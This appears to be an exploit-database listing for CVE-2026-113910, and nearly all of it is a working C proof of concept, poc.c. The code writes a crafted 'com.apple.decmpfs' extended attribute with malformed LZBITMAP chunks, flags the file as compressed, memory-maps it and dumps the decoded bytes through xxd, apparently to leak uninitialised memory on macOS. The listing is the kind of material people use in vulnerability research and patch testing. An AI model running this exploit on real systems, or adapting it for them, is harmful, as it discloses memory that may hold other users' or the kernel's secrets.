Exploit databaseDownload repository ZIP
GH-2df826777b8858eaa1b247cda697f4f8
ecc521/cve-2026-113910
Sources for CVE-2026-113910
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files2
ecc521/cve-2026-113910Revision 386968f3d326
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc.c
C · 1,919 bytes// cc -o poc poc.c && ./poc /tmp/f | xxd
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/xattr.h>
#include <unistd.h>
#define SIZE 65536 // hdr->uncompressed_size, one decmpfs chunk
#define LOOPS 1 // 64kB of memory per loop
static void put24(uint8_t *d, uint32_t v) { d[0] = v; d[1] = v >> 8; d[2] = v >> 16; }
// One LZBITMAP chunk: 4096 all-copy blocks (32kB) at period 0
static void chunk(uint8_t *c) {
put24(c + 0, 172); // chunk length
put24(c + 3, 32768); // decoded length
put24(c + 6, 15); // literals end: none
put24(c + 9, 16); // periods end: one byte, period 0
put24(c + 12, 17); // bitmaps end: one byte, 0x00 (all copies)
memset(c + 17, 0xff, 138); // control nibbles, low nibble first:
c[17] = 0x31; // block 0 sets period 0, block 1 uses footer slot 0
c[154] = 0xbf; // ...repeated 4 + 15*272 + 11 = 4095 times
} // footer (17 bytes of zeros): slot 0 = all copies
int main(int argc, char **argv) {
// header: magic "cmpf" LE, type 13 (LZBITMAP), uncompressed_size 65536,
// then the stream: "ZBM\x09", two 32kB chunks, a terminator
uint8_t hdr[370] = { 'f','p','m','c', 13,0,0,0, 0,0,1,0,0,0,0,0, 'Z','B','M',9 };
chunk(hdr + 20);
chunk(hdr + 192);
put24(hdr + 364, 6);
close(open(argv[1], O_CREAT | O_TRUNC | O_RDWR, 0644));
setxattr(argv[1], "com.apple.decmpfs", hdr, sizeof hdr, 0, XATTR_NOFOLLOW);
chflags(argv[1], 0x20); // set UF_COMPRESSED
unsigned char *m = mmap(0, SIZE, PROT_READ, MAP_SHARED,
open(argv[1], O_RDONLY), 0);
for (int i = 0; i < LOOPS; i++) {
fwrite(m, 1, SIZE, stdout);
msync(m, SIZE, MS_INVALIDATE); // evict; the next loop decodes again
}
}